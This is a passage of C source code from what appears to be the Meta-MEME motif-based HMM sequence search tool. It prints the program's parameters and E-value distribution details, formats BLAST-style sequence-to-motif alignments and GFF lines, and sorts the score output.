fprintf(out_stream, " type of distribution: %s\n", evd_set.dtype==D_EXP ?
"Exponential" : (evd_set.dtype==D_GCEXP ? "GC-dependent Exponential" : "Extreme Value"));
fprintf(out_stream, " source of distribution: %s\n", evd_set.negatives_only ?
"Synthetic sequence scores" : "Actual sequence scores");
fprintf(out_stream, " status: %s\n", evd_set.msg);
if (evd_set.n > 0) {
for (i=0; i<evd_set.n; i++) {
if (evd_set.n > 1) { // Length ranges.
fprintf(out_stream, " min_t: %.3f\n", evd_set.evds[i].min_t);
fprintf(out_stream, " max_t: %.3f\n", evd_set.evds[i].max_t);
}
if (evd_set.dtype == D_EXP) {
fprintf(out_stream, " mu1: %.3g\n", evd_set.evds[i].mu1);
if (!evd_set.negatives_only) { // No second component?
fprintf(out_stream, " mu2: %.3g\n", evd_set.evds[i].mu2);
fprintf(out_stream, " sigma2: %.3g\n", evd_set.evds[i].sigma2);
fprintf(out_stream, " c: %.3g\n", evd_set.evds[i].c);
}
fprintf(out_stream, " number of scores used for estimation: %d\n", evd_set.evds[i].n);
} else { // Extreme value parameters.
fprintf(out_stream, " lambda: %.2g\n", evd_set.evds[i].lambda);
fprintf(out_stream, " K: %.2g\n", evd_set.evds[i].K);
fprintf(out_stream, " number of non-outliers: %d\n", evd_set.non_outliers);
}
}
fprintf(out_stream, " N (E-value = N * p-value): %d\n", evd_set.N);
fprintf(out_stream, " mininum E-value: %.3g\n", evd_set.min_e);
fprintf(out_stream, " number of E-values < 1.0: %d\n", evd_set.outliers);
fprintf(out_stream, " sum(-log E-values < 1.0): %.3g\n", -evd_set.sum_log_e);
}
fprintf(out_stream, " number of matches: %d\n", score_set.n);
fprintf(out_stream, " db length: %.0f\n", score_set.total_length);
if (evd_set.dtype == D_EXP) {
fprintf(out_stream, " average minimum p-value: %.3g\n", score_set.avg_min_pvalue);
fprintf(out_stream, " average motif width: %.3g\n", score_set.avgw);
/*
fprintf(out_stream, " probability of a false hit: %.3g\n", score_set.phit);
fprintf(out_stream, " probability of a false hit within max-gap: %.3g\n", score_set.wimp);
fprintf(out_stream, " E[distance between hits]: %.3g\n", score_set.egap);
fprintf(out_stream, " E[hits/match]: %.3g\n", score_set.ehits);
fprintf(out_stream, " E[span]: %.3g\n", score_set.espan);
*/
}
fprintf(out_stream, "\n");
} // print_distr_parameters
/*************************************************************************
* Print a program's parameters and CPU time.
*************************************************************************/
void print_parameters(
char* const argv[], // command line
int argc, // number of fields in command line
char* name, // program name
ALPH_T* alph, // alphabet
char* hmm_filename, // hmm input file name
char* seq_filename, // sequence file name
bool viterbi, // Viterbi search?
double dp_threshold, // Repeated match threshold
bool motif_scoring, // No partial motifs?
bool use_pvalues, // Convert matches to p-values?
double p_threshold, // P-value threshold for motif hits.
double e_threshold, // E-value threshold for printing.
bool both_strands, // Score both DNA strands?
char* bg_filename, // Background file name.
char* sc_filename, // Score file name.
int pam_distance, // PAM distance,
double beta, // Pseudo-weight.
bool zero_spacer_emit_lo, // Zero emission for spacers?
int max_gap, // Maximum gap.
double egcost, // Cost factor for gaps.
double gap_open, // Gap open penalty.
double gap_extend, // Gap extend penalty.
bool print_fancy, // Print alignments?
bool print_time, // Print CPU time?
double start_time, // Starting time
double end_time, // Ending time
int num_seqs, // Number of sequences processed.
EVD_SET evd_set, // EVD data structure.
SCORE_SET score_set, // Scores.
FILE* out_stream // Output stream.
)
{
// Print parameters used in calculating p-values.
print_distr_parameters(evd_set, score_set, out_stream);
fprintf(out_stream, "Program parameters for %s\n", name);
fprintf(out_stream, " HMM file: ");
if (hmm_filename == NULL) {
fprintf(out_stream, "stdin\n");
} else {
fprintf(out_stream, "%s\n", hmm_filename);
}
fprintf(out_stream, " Sequence file: ");
if (seq_filename == NULL) {
fprintf(out_stream, "stdin\n");
} else {
fprintf(out_stream, "%s\n", seq_filename);
}
if (viterbi) {
fprintf(out_stream, " Paths: single\n");
} else {
fprintf(out_stream, " Paths: all\n");
}
if (dp_threshold != NO_REPEAT) {
fprintf(out_stream, " Minimum match score: %g\n", dp_threshold);
}
fprintf(out_stream, " Partial motif matches are: %s\n",
motif_scoring ? "not allowed" : "allowed");
if (motif_scoring) {
fprintf(out_stream, " Motif scores are: %s\n",
use_pvalues ? "-log(p_value(log_odds)/p-thresh))" : "log_odds");
}
if (use_pvalues) {
fprintf(out_stream, " P-value threshold for motif hits: %g\n", p_threshold);
}
if (alph_has_complement(alph)) {
// FIXME: Add this if we ever implement scoring both strands.
//fprintf(out_stream, " Matches can be on: %s\n",
// both_strands ? "either strand" : "given strand only");
if (both_strands) both_strands = true; // prevent compiler warning
}
fprintf(out_stream, " E-value threshold for scores: %g\n", e_threshold);
fprintf(out_stream, " Background: %s\n", bg_filename ? bg_filename : "nrdb");
fprintf(out_stream, " Score matrix for pseudocount frequencies: %s",
sc_filename ? sc_filename : "PAM");
if (sc_filename) {
fprintf(out_stream, "\n");
} else {
fprintf(out_stream, " %d\n", pam_distance);
}
fprintf(out_stream, " Beta (weight on pseudocount frequencies): %6.2f\n", beta);
fprintf(out_stream, " Zero spacer emission log-odds: %s\n",
zero_spacer_emit_lo ? "true" : "false");
if (max_gap > 0) {
fprintf(out_stream, " Maximum allowed gap: %d\n", max_gap);
}
if (egcost > 0) {
fprintf(out_stream, " Cost factor for gaps: %8.2f\n", egcost);
}
if (gap_open >= 0) {
fprintf(out_stream, " Gap open cost: %8.2g\n", gap_open);
}
if (gap_extend >= 0) {
fprintf(out_stream, " Gap extension cost: %8.2g\n", gap_extend);
}
fprintf(out_stream, " Fancy output format: %s\n", print_fancy ? "true" : "false");
fprintf(out_stream, "\n");
// Print the actual command line.
{
char *command = NULL; // To hold the actual command line.
int i = 1, pos = 0, len = 0;
len += strlen(name)+1; // +1 for space following
mm_resize(command, len+2, char); // +1 for null
strcpy(command+pos, name);
command[len-1] = ' ';
command[len] = '\0';
pos = len;
for (i=1; i<argc; i++) {
len += strlen(argv[i])+1; // +1 for space following
mm_resize(command, len+2, char); // +1 for null
strcpy(command+pos, argv[i]);
command[len-1] = ' ';
command[len] = '\0';
pos = len;
}
fprintf(out_stream, "Actual command line:\n %s\n\n", command);
myfree(command);
}
/* Print the total CPU time and the CPU name. */
if (print_time) {
double total_time = myclock();
fprintf(out_stream, "CPU: %s\n", hostname());
fprintf(out_stream, "Total time %.2f secs.\n", (float)total_time/1E6);
fprintf(out_stream, "Overhead %.2f secs.\n",
(float)(total_time - (end_time - start_time))/1E6);
fprintf(out_stream, "%d sequences\n", num_seqs);
fprintf(out_stream, "%.1f millisec/seq\n",
(float)(end_time - start_time)/(num_seqs * 1E3));
fprintf(out_stream, "%.1f microsec/character\n",
(float)(end_time - start_time)/evd_set.total_length);
}
} // print_parameters
/*************************************************************************
* Given the desired output width, calculate the width of one line of
* an alignment.
*************************************************************************/
int compute_align_width(int output_width)
{
int align_width;
// Calculate the width of the alignment, minus margins.
align_width = output_width - 2 * (LENGTH_WIDTH + 1);
// Remove the 1's digit.
align_width -= align_width % 10;
return(align_width);
}
/*************************************************************************
* Given a sequence, model and traceback, generate a sequence-to-model
* match.
*
* Side effect: replaces the flanking Xs in the sequence with spaces.
*************************************************************************/
void generate_match_sequence
(MHMM_T* the_log_hmm, // Log-odds version of the HMM.
int trace_start, // Position in sequence to start trace at.
int trace_end, // Position in sequence to end trace at.
MATCH_T* traceback, // The path through the model.
MATRIX_T* motif_score_matrix, // Motif score matrix.
PROB_T p_threshold, // P-value threshold for motif hits.
SEQ_T* sequence, // The sequence as characters.
char* score_sequence, // Motif scores printed above the motif IDs.
char* id_sequence, // Motif IDs printed above the sequence.
char* model_sequence, // Consensus chars along path.
char* match_sequence) // Indications of matches between sequence & model.
{
int i_trace; // Index into the path.
assert(trace_end < get_seq_length(sequence));
// Find the consensus letter and match character at each position in path.
for (i_trace = trace_start; i_trace <= trace_end; i_trace++) {
MHMM_STATE_T* the_state; // The current state in the model.
int trace_entry = get_trace_item(i_trace, traceback);
// Find the current state, if there is one.
if (trace_entry != -1) {
the_state = &(the_log_hmm->states[trace_entry]);
} else {
the_state = NULL;
}
// Mark unmatched section with spaces.
if ((trace_entry == -1) ||
(the_state->type == START_STATE) ||
(the_state->type == END_STATE)) {
score_sequence[i_trace] = ' ';
id_sequence[i_trace] = ' ';
model_sequence[i_trace] = ' ';
match_sequence[i_trace] = ' ';
} else {
// Mark spacer states with dots in consensus, spaces elsewhere.
if (the_state->type == SPACER_STATE) {
score_sequence[i_trace] = ' ';
id_sequence[i_trace] = ' ';
model_sequence[i_trace] = '.';
match_sequence[i_trace] = ' ';
}
// Mark motif sections ...
else {
// Find the motif score at this position.
if (the_state->type == START_MOTIF_STATE && motif_score_matrix) {
char tmp[400];
int i;
double s = get_matrix_cell(the_state->i_motif, i_trace, motif_score_matrix);
double score = p_threshold > 0 ? pow(2.0, -s) * p_threshold : s;
sprintf(tmp, "%-*.1e/", the_state->w_motif, score);
for (i=0; i<the_state->w_motif; i++) {
score_sequence[i_trace+i] = tmp[i];
}
}
// Find the ID character at this position.
id_sequence[i_trace] = the_state->id_char;
assert(the_state->id_char != '\0');
// Find the consensus letter at this position.
model_sequence[i_trace] = choose_consensus(the_log_hmm->alph, true, the_state);
// Label exact matches with letters.
if (model_sequence[i_trace] == get_seq_char(i_trace, sequence)) {
match_sequence[i_trace] = get_seq_char(i_trace, sequence);
}
// Label close matches with plus signs.
else if (get_array_item(get_seq_int(i_trace, sequence),
the_state->emit_odds) > 0.0) {
match_sequence[i_trace] = '+';
} else {
match_sequence[i_trace] = ' ';
}
}
}
}
// Add null terminators.
score_sequence[trace_end+1] = '\0';
id_sequence[trace_end+1] = '\0';
model_sequence[trace_end+1] = '\0';
match_sequence[trace_end+1] = '\0';
// Replace flanking Xs with spaces.
set_seq_char(0, ' ', sequence);
set_seq_char(get_seq_length(sequence) - 1, ' ', sequence);
}
/*************************************************************************
* A trivial function to check whether a given string consists of all
* spaces.
*************************************************************************/
static bool all_spaces(char* a_string) {
int i;
int length;
length = strlen(a_string);
for (i = 0; i < length; i++) {
if (a_string[i] != ' ') {
return(false);
}
}
return(true);
}
/*************************************************************************
* Figure out which positions to start and end the alignment.
*
* We are given the length of this sequence segment, its offset
* relative to the entire sequence, the width of the desired
* alignment, and the start and end positions of the match within this
* segment. The function converts the start and end positions from
* segment-relative to sequence-relative coordinates. Using these new
* positions, the function computes the start position of the row of
* the alignment that would contain the start of this match, and the
* end position of the row of the alignment that would contain the end
* of this match. These coordinates are then converted back into
* segment-relative coordinates.
*************************************************************************/
void compute_alignment_start_end(
int align_width,
int seq_length,
int seq_offset,
int start_match,
int end_match,
int* align_start,
int* align_end
) {
// Convert the start and end to absolute sequence coordinates.
int absolute_start_match = start_match + seq_offset;
int absolute_end_match = end_match + seq_offset;
// The trace starts at first multiple of align_width prior
// to the start of the match.
int absolute_align_start
= ((absolute_start_match / align_width) * align_width);
// Trace ends in the first whole multiple of align_width
// containing the end of the match.
int absolute_align_end
= ((absolute_end_match / align_width) * align_width)
+ align_width;
// The end cannot occur beyond the end of the sequence.
absolute_align_end = MIN(seq_length + seq_offset - 2, absolute_align_end);
// Revert to the relative coordinate for this segment.
*align_start = MAX(1, absolute_align_start - seq_offset);
*align_end = absolute_align_end - seq_offset;
// Make sure everything is hunky dory.
assert(start_match <= end_match);
assert(*align_start < *align_end);
}
/*************************************************************************
* Given a sequence, a model, and a match, print the sequence-to-model
* alignment in BLAST-style format.
*
* The formatted output is returned as a single string, which must
* be freed by the caller.
*************************************************************************/
void print_alignment
(int align_width, // Number of characters in one alignment line.
MHMM_T* the_log_hmm, // Log-odds version of the HMM.
MATCH_T* this_match, // The match.
SEQ_T* sequence, // The sequence as characters.
MATRIX_T* motif_score_matrix, // Motif score matrix.
PROB_T p_threshold, // P-value threshold for motif hits.
char** outstring) // Output string.
{
char* score_sequence; // Motif scores.
char* id_sequence; // Motif ID numbers.
char* model_sequence; // Consensus chars along path.
char* match_sequence; // Indications of matches between
// sequence & model.
int i_seq; // Index into the sequence.
int seq_length; // Length of the sequence.
char* raw_sequence; // The sequence itself.
int end_position; // End position of the current line.
int outstring_length; // Number of chars in output string.
int align_start; // Position in sequence to start alignment at.
int align_end; // Position in sequence to end alignment at.
// Buffers for storing stuff before printing it.
static char* buffer0 = NULL;
static char* buffer1;
static char* buffer2;
static char* buffer3;
static char* buffer4;
// Create local dynamic storage.
if (buffer0 == NULL) {
buffer0 = (char*)mm_malloc(sizeof(char) * (align_width + 1));
buffer1 = (char*)mm_malloc(sizeof(char) * (align_width + 1));
buffer2 = (char*)mm_malloc(sizeof(char) * (align_width + 1));
buffer3 = (char*)mm_malloc(sizeof(char) * (align_width + 1));
buffer4 = (char*)mm_malloc(sizeof(char) * (align_width + 1));
}
// Return the empty string if there's no trace.
if (this_match == NULL) {
*outstring = (char *)mm_malloc(sizeof(char));
(*outstring)[0] = '\0';
return;
}
// Set up the start and end points for the trace.
compute_alignment_start_end(align_width,
get_seq_length(sequence),
get_seq_offset(sequence),
get_start_match(this_match),
get_end_match(this_match),
&align_start,
&align_end);
// Allocate space for sequences.
seq_length = get_seq_length(sequence);
score_sequence = (char *)mm_malloc(sizeof(char) * (seq_length + 1));
id_sequence = (char *)mm_malloc(sizeof(char) * (seq_length + 1));
model_sequence = (char *)mm_malloc(sizeof(char) * (seq_length + 1));
match_sequence = (char *)mm_malloc(sizeof(char) * (seq_length + 1));
// Find the correspondence between sequence and model.
generate_match_sequence(the_log_hmm,
align_start,
align_end,
this_match,
motif_score_matrix,
p_threshold,
sequence,
score_sequence,
id_sequence,
model_sequence,
match_sequence);
// Allocate plenty of space for the output string.
outstring_length = ((align_end - align_start) + align_width) * 10;
*outstring = (char *)mm_malloc(sizeof(char) * outstring_length);
// Display the alignment.
sprintf(*outstring, "\n");
buffer0[align_width] = '\0';
buffer1[align_width] = '\0';
buffer2[align_width] = '\0';
buffer3[align_width] = '\0';
buffer4[align_width] = '\0';
raw_sequence = get_raw_sequence(sequence);
for (i_seq = align_start; i_seq <= align_end; i_seq += align_width) {
// Figure out whether we're nearing the end of the sequence.
if (i_seq + align_width <= align_end) {
strncpy(buffer0, &(score_sequence[i_seq]), align_width);
strncpy(buffer1, &(id_sequence[i_seq]), align_width);
strncpy(buffer2, &(model_sequence[i_seq]), align_width);
strncpy(buffer3, &(match_sequence[i_seq]), align_width);
strncpy(buffer4, &(raw_sequence[i_seq]), align_width);
end_position = i_seq + align_width - 1;
} else {
strcpy(buffer0, &(score_sequence[i_seq]));
strcpy(buffer1, &(id_sequence[i_seq]));
strcpy(buffer2, &(model_sequence[i_seq]));
strcpy(buffer3, &(match_sequence[i_seq]));
strncpy(buffer4, &(raw_sequence[i_seq]), align_end - i_seq + 1);
buffer4[align_end - i_seq + 1] = '\0'; // Null terminate the sequence.
end_position = align_end;
}
// If there is no alignment in this part, then skip it.
if ((all_spaces(buffer1)) && (all_spaces(buffer2)) &&
(all_spaces(buffer3))) {
continue;
}
if (motif_score_matrix) { // scores above hits?
sprintf(&((*outstring)[strlen(*outstring)]), "%*s %s %*s\n",
LENGTH_WIDTH, "", buffer0, LENGTH_WIDTH, "");
}
sprintf(&((*outstring)[strlen(*outstring)]), "%*s %s %*s\n",
LENGTH_WIDTH, "", buffer1, LENGTH_WIDTH, "");
sprintf(&((*outstring)[strlen(*outstring)]), "%*s %s %*s\n",
LENGTH_WIDTH, "", buffer2, LENGTH_WIDTH, "");
sprintf(&((*outstring)[strlen(*outstring)]), "%*s %s %*s\n",
LENGTH_WIDTH, "", buffer3, LENGTH_WIDTH, "");
sprintf(&((*outstring)[strlen(*outstring)]), "%*d %-*s %*d\n",
LENGTH_WIDTH, MAX(1, i_seq) + get_seq_offset(sequence),
align_width, buffer4,
LENGTH_WIDTH,
MIN(end_position, get_seq_length(sequence) - 2) +
get_seq_offset(sequence));
sprintf(&((*outstring)[strlen(*outstring)]), "\n");
}
sprintf(&((*outstring)[strlen(*outstring)]), "\n");
// Check for array bounds write.
assert((int)strlen(*outstring) < outstring_length);
// Free locally allocated memory.
myfree(score_sequence);
myfree(id_sequence);
myfree(model_sequence);
myfree(match_sequence);
}
/*************************************************************************
* Combine a bunch of information into a single GFF line. The result
* is returned in a local static string.
*************************************************************************/
#define MAX_GFF 10000
static char* make_motif_gff_line
(char* seq_id,
char* motif_id,
int start_match,
int width,
double pvalue,
char strand)
{
static char return_value[MAX_GFF];
sprintf(return_value, "%s\tMeta-MEME\tmotif%s\t%d\t%d\t%g\t%c\t.\n",
seq_id,
motif_id,
start_match,
start_match + width - 1,
pvalue,
strand);
return(return_value);
}
/*************************************************************************
* Store a GFF entry for the given match object in the given string.
* The gff_entry string is allocated by this function and must be
* freed by the caller.
*************************************************************************/
static void print_gff_entry
(SEQ_T* sequence,
MATCH_T* this_match,
MHMM_T* the_log_hmm,
MATRIX_T* motif_score_matrix, // Motif score matrix.
char** match_string,
char** motif_string)
{
static char temp_match[MAX_GFF]; // Temporary storage.
static char temp_motif[MAX_GFF]; // Temporary storage.
int i_match;
// Create a single line for the entire match, minus the evalue.
sprintf(temp_match, "%s\t%s\t%s\t%d\t%d\t",
get_seq_name(sequence),
"Meta-MEME",
"match",
// GFF indexes from 1...
get_start_match(this_match) + get_seq_offset(sequence) + 1,
get_end_match(this_match) + get_seq_offset(sequence) + 1);
// Create additional lines for the motif matches.
temp_motif[0] = '\0';
for (i_match = get_start_match(this_match);
i_match < get_end_match(this_match); i_match++) {
int i_state = get_trace_item(i_match, this_match);
MHMM_STATE_T* this_state = &((the_log_hmm->states)[i_state]);
// Are we at the start of a motif?
if (this_state->type == START_MOTIF_STATE) {
strcat(temp_motif,
make_motif_gff_line(get_seq_name(sequence),
get_state_motif_id(false, this_state),
get_seq_offset(sequence) + i_match + 1,
this_state->w_motif,
motif_score_matrix ?
get_matrix_cell(this_state->i_motif,
i_match,
motif_score_matrix) :
0.0,
get_strand(this_state)
)
);
}
}
// Allocate space and copy the gff entries.
copy_string(match_string, temp_match);
copy_string(motif_string, temp_motif);
}
/*************************************************************************
* Store a sequence's scores, ID and description for later printing.
* Also stores the score and length in score_set.
*************************************************************************/
void store_sequence
(ALPH_T* alph, // Alphabet
bool motif_scoring, // Motif-scoring being used.
bool mhmmscan, // Print mhmmscan output (else mhmms output)?
int output_width, // Width in chars of the output.
SEQ_T* sequence, // Info about the sequence.
MATCH_T* this_match, // Info about this match.
PROB_T e_threshold, // E-value reporting threshold.
double dp_threshold, // Subtract from viterbi score.
PROB_T p_threshold, // P-value threshold for motif hits.
SCORE_SET *score_set, // Scores and lengths for computing distribution.
bool got_evd, // EVD is available
EVD_SET evd_set, // EVD
bool store_trace, // Store the Viterbi trace?
MHMM_T* the_log_hmm, // The HMM.
MATRIX_T* motif_score_matrix, // Motif score matrix.
bool store_gff, // Store a GFF entry?
SCANNED_SEQUENCE_T *scanned_seq // CISML scanned sequence structure
)
{
int length; // Length of this sequence.
int span; // Span of match (end - start + 1).
int nhits; // Number of motif hits in match.
double viterbi_score; // Score of this sequence.
int out_len = 0; // Length printed so far.
double gc = 0; // GC-content around match.
double t_or_gc; // Length or GC-content of sequence.
viterbi_score = get_score(this_match) - dp_threshold;
length = get_match_seq_length(this_match);
span = get_end_match(this_match) - get_start_match(this_match) + 1;
nhits = get_nhits(this_match);
char *seq_name = get_seq_name(sequence);
//
// Save the score and sequence length. Keep track of maximum length
// and smallest score.
//
if (viterbi_score > LOG_SMALL) { /* don't save tiny scores */
// Save unscaled score and sequence length for calculating EVD.
if (!(score_set->n % ALLOCATE_BLOCK)){
mm_resize(score_set->scores, score_set->n + ALLOCATE_BLOCK, SCORE);
//fprintf(stderr, "Resized score_set to %d \n", score_set->n + ALLOCATE_BLOCK);
}
score_set->scores[score_set->n].s = viterbi_score; /* unscaled score */
score_set->scores[score_set->n].t = length;
score_set->scores[score_set->n].nhits = nhits;
score_set->scores[score_set->n].span = span;
if (length > score_set->max_t) score_set->max_t = length;
// FIXME: Bill: do I need to worry about the sequence offset if
// the match doesn't contain the whole sequence?
if (has_seq_gc(sequence)) { // save GC content
// the GC count is (gc[match_end] - gc[match_start-1])
int start = MAX(0, get_start_match(this_match)-GC_WIN_SIZE);
int end = MIN(get_seq_length(sequence)-1, get_end_match(this_match)+GC_WIN_SIZE);
double n = end - start;
gc = score_set->scores[score_set->n].gc =
( get_seq_gc(end, sequence) - get_seq_gc(start, sequence) ) / n;
}
score_set->n++;
//fprintf(stderr, "score_set->n %d %f\n", score_set->n, viterbi_score);
} else { /* skip tiny scores */
return;
}
/* Use E-value to determine if score should be skipped.
* The threshold is multiplied by 10 because E-values may be fairly
* inaccurate at this point. */
t_or_gc = (got_evd && evd_set.dtype == D_EXP) ? gc : length;
if ((e_threshold < 0) ||
((got_evd) &&
(Evd_set_evalue(score_set->n, viterbi_score, t_or_gc, 1, evd_set) >
10.0 * e_threshold))) {
return;
}
/* Allocate memory, if necessary. */
if (num_stored >= num_allocated) {
if (num_allocated > 0) {
num_allocated = 2 * num_allocated;
}
else {
num_allocated = ALLOCATE_BLOCK;
}
stored_IDs =
(char**)mm_realloc(stored_IDs, sizeof(char*) * num_allocated);
stored_keys =
(PROB_T *)mm_realloc(stored_keys, sizeof(PROB_T) * num_allocated);
stored_scores =
(PROB_T *)mm_realloc(stored_scores, sizeof(PROB_T) * num_allocated);
stored_lengths =
(int *)mm_realloc(stored_lengths, sizeof(int) * num_allocated);
stored_gcs =
(double *)mm_realloc(stored_gcs, sizeof(double) * num_allocated);
stored_seqs =
(char**)mm_realloc(stored_seqs, sizeof(char*) * num_allocated);
stored_traces =
(char**)mm_realloc(stored_traces, sizeof(char*) * num_allocated);
stored_match_gffs =
(char**)mm_realloc(stored_match_gffs, sizeof(char*) * num_allocated);
stored_motif_gffs =
(char**)mm_realloc(stored_motif_gffs, sizeof(char*) * num_allocated);
}
/* Check how long this ID is. */
if ((signed)strlen(get_seq_name(sequence)) > longest_ID) {
longest_ID = strlen(get_seq_name(sequence));
}
/* Allocate memory for the new sequence. */
stored_IDs[num_stored] = (char*)mm_calloc(longest_ID + 1, sizeof(char));
stored_seqs[num_stored] = (char*)mm_calloc(output_width + 1, sizeof(char));
/* Store the ID, the key and the length. */
strcpy(stored_IDs[num_stored], get_seq_name(sequence));
stored_keys[num_stored] = viterbi_score;
stored_lengths[num_stored] = length;
stored_gcs[num_stored] = gc;
// If scaned sequence is provided, add the match to it
if (scanned_seq) {
int start = MAX(0, get_start_match(this_match)-GC_WIN_SIZE);
int end = MIN(get_seq_length(sequence)-1, get_end_match(this_match)+GC_WIN_SIZE);
char *matched_sequence = get_raw_subsequence(start, end, sequence);
MATCHED_ELEMENT_T *element =
allocate_matched_element(start, end, scanned_seq);
set_matched_element_score(element, viterbi_score);
set_matched_element_sequence(element, matched_sequence);
}
//
// Store the scores and the description.
//
// Print score or "NaN" if too small.
if (viterbi_score <= LOG_SMALL) {
sprintf(stored_seqs[num_stored], "%*s ", SCORE_WIDTH, "NaN");
} else {
sprintf(stored_seqs[num_stored],
"%*.*f ", SCORE_WIDTH, SCORE_PRECISION,
viterbi_score + dp_threshold);
}
out_len += SCORE_WIDTH + 1;
// Print GC content.
if (0) { // Disabled.
sprintf(stored_seqs[num_stored] + out_len,
"%*.*f ", SCORE_WIDTH, SCORE_PRECISION,
score_set->scores[(score_set->n)-1].gc);
out_len += SCORE_WIDTH + 1;
}
// Print number of hits and span if doing motif scoring.
if (motif_scoring) {
sprintf(stored_seqs[num_stored] + out_len,
"%*d %*d ",
LENGTH_WIDTH,
nhits,
LENGTH_WIDTH,
span
);
out_len += 2 * (LENGTH_WIDTH + 1);
}
// Print start and end of match.
sprintf(stored_seqs[num_stored] + out_len,
"%*d %*d ",
LENGTH_WIDTH,
get_start_match(this_match) + get_seq_offset(sequence),
LENGTH_WIDTH,
get_end_match(this_match) + get_seq_offset(sequence)
);
out_len += 2 * (LENGTH_WIDTH+1);
// Print sequence length.
if (!mhmmscan) {
sprintf(stored_seqs[num_stored] + out_len,
"%*d ",
LENGTH_WIDTH,
get_seq_length(sequence) - 2 // Chop off X's.
);
out_len += LENGTH_WIDTH+1;
}
// Print description of sequence.
if (output_width > out_len) {
sprintf(stored_seqs[num_stored] + out_len,
"%-*.*s",
output_width - out_len,
output_width - out_len,
get_seq_description(sequence));
}
// Store the Viterbi alignment.
if (store_trace) {
print_alignment(compute_align_width(output_width),
the_log_hmm,
this_match,
sequence,
motif_score_matrix,
p_threshold,
&(stored_traces[num_stored]));
}
// Store the GFF entry.
if (store_gff) {
print_gff_entry(sequence,
this_match,
the_log_hmm,
motif_score_matrix,
&(stored_match_gffs[num_stored]),
&(stored_motif_gffs[num_stored]));
}
/* Increment the number of stored sequences. */
num_stored++;
} // store_sequence
#define SEPARATOR "-----------------------------------------------------------------------------------------------------------------------------------"
/* I define this as a struct only so that the two items can be passed as
a single pointer to the 'qsort' routine. */
typedef struct tosort {
PROB_T key;
char* out_string;
char* gff_string;
} TOSORT_T;
/*************************************************************************
* A comparison function used in sorting the output before printing.
* Sorts by keys in ascending order.
*************************************************************************/
static int tosort_compare
(const void * elem1,
const void * elem2)
{
const PROB_T key1 = ((TOSORT_T *)elem1)->key;
const PROB_T key2 = ((TOSORT_T *)elem2)->key;
const char* string1 = ((TOSORT_T *)elem1)->out_string;
const char* string2 = ((TOSORT_T *)elem2)->out_string;
if (key1 < key2) {
return(-1);
} else if (key1 > key2) {
return(1);
} else {
return(strcmp(string2, string1));
}
}
/*************************************************************************
* Tiny function to find an EOL in a string. Dies if none is found.
*************************************************************************/
static int find_eol
(char* this_entry)
{
int i;
int length;
length = strlen(this_entry);
for (i = 0; i < length; i++) {
if (this_entry[i] == '\n') {
return(i);
}
}
die("No EOL found in %s.", this_entry);
return(0);
}
/*************************************************************************
* Sort the stored list of sequences, scores and IDs, and print them
* out.
*************************************************************************/
void sort_and_print_scores
(bool print_fancy, // Include Viterbi alignment?
bool print_header, // Print header?
bool got_evd, // EVD found?
bool motif_scoring,// Motif-scoring being used.
bool mhmmscan, // Print in mhmmscan format (else mhmms)?
int maxseqs, // Maximum number of sequences to print
int output_width, // Width of output, in chars.
PROB_T threshold, // Print sequences scoring below this.
bool sort_output, // Sort scores?
FILE* gff_file, // Auxiliary GFF file.
FILE* outfile) // Print to this file.
{
int i_stored; // Index into the arrays of stored sequences.
TOSORT_T* tosort; // Array of output strings to be sorted.
int num_tosort; // Number of output strings to be sorted.
int i_tosort; // Index into array of to-be-sorted sequences.
int i_toprint; // Index for printing sequences.
int num_toprint; // Number of sequences to print.
int num_under = 0;/* Number of sequences stored with E-values
below given threshold. */
/* If we get ridiculously long sequence IDs, truncate them. */
if (longest_ID > MAX_SEQ_ID_LENGTH) {
fprintf(stderr, "Warning: truncating absurdly long sequence IDs.\n");
longest_ID = MAX_SEQ_ID_LENGTH;
}
// Get the accurate number of sequences below the E-value threshold.
// If there were too few scores for the E-value computation, print
// the first "threshold" matches, sorted by decreasing score.
if (got_evd) {
num_under = 0;
for (i_stored = 0; i_stored < num_stored; i_stored++) {
double evalue = stored_keys[i_stored];
if (evalue <= threshold) num_under++;
}
} else {
// The sorted keys contain the raw scores. Replace them
// with -score so that the sort by increasing order will
// put the best scores first.
fprintf(stderr, "Warning: Unable to compute E-values. ");
fprintf(stderr, "Sorting by score instead.\n");
for (i_stored = 0; i_stored < num_stored; i_stored++) {
stored_keys[i_stored] *= -1; // -score so sort works.
}
num_under = num_stored;
threshold = HUGE_VAL; // All keys less than this.
}
tosort = (TOSORT_T *)mm_malloc(sizeof(TOSORT_T) * num_stored);
// Consider each stored sequence in turn.
i_tosort = 0;
for (i_stored = 0; i_stored < num_stored; i_stored++) {
double score = stored_keys[i_stored]; // E-value or raw score.
double evalue; // E-value or NaN.
// Skip low-scoring sequences
if (score > threshold) continue;
// Allocate memory for this item.
if (print_fancy) {
tosort[i_tosort].out_string =
(char *)mm_malloc(sizeof(char) * (output_width + 2 +
strlen(stored_traces[i_stored])));
} else {
tosort[i_tosort].out_string =
(char *)mm_malloc(sizeof(char) * (output_width + 2));
}
if (gff_file != NULL) {
tosort[i_tosort].gff_string =
(char *)mm_malloc(sizeof(char) * (strlen(stored_match_gffs[i_stored])
+ strlen(stored_motif_gffs[i_stored])
+ 50)); // Space for the evalue, etc.
}
// Format the ID, scores and description.
evalue = got_evd ? score : NAN;
sprintf(
tosort[i_tosort].out_string,
"%-*.*s %*.2e %*.*s\n",
longest_ID,
longest_ID,
stored_IDs[i_stored],
PV_WIDTH,
evalue,
output_width - (longest_ID + PV_WIDTH + 2),
output_width - (longest_ID + PV_WIDTH + 2),
stored_seqs[i_stored]
);
// Add the trace, if requested.
if (print_fancy) {
strcat(tosort[i_tosort].out_string, stored_traces[i_stored]);
}
// Add the GFF entry, if requested.
if (gff_file != NULL) {
sprintf(
tosort[i_tosort].gff_string, "%s%g\t.\t.\n%s",
stored_match_gffs[i_stored],
fabs(score),
stored_motif_gffs[i_stored]
);
}
// Store the associated key.
tosort[i_tosort].key = score;
i_tosort++;
}
num_tosort = i_tosort;
// Sort the sequences.
if (sort_output) {
qsort((void *)tosort, num_tosort, sizeof(TOSORT_T), tosort_compare);
}
// Decide how many sequences to print.
num_toprint = got_evd ? num_under : num_stored;
// If the maxseqs limit has been set, apply it
if (maxseqs > NO_MAX_SEQS) {
num_toprint = MIN(num_toprint, maxseqs);
}
// Print the header.
if (print_header) {
fprintf(outfile, "%-*s ", longest_ID, "ID");
fprintf(outfile, "%*.*s ", PV_WIDTH, PV_WIDTH, "E-value");
fprintf(outfile, "%*s ", SCORE_WIDTH, "Score");
if (motif_scoring) {
fprintf(outfile, "%*s ", LENGTH_WIDTH, "Hits");
fprintf(outfile, "%*s ", LENGTH_WIDTH, "Span");
}
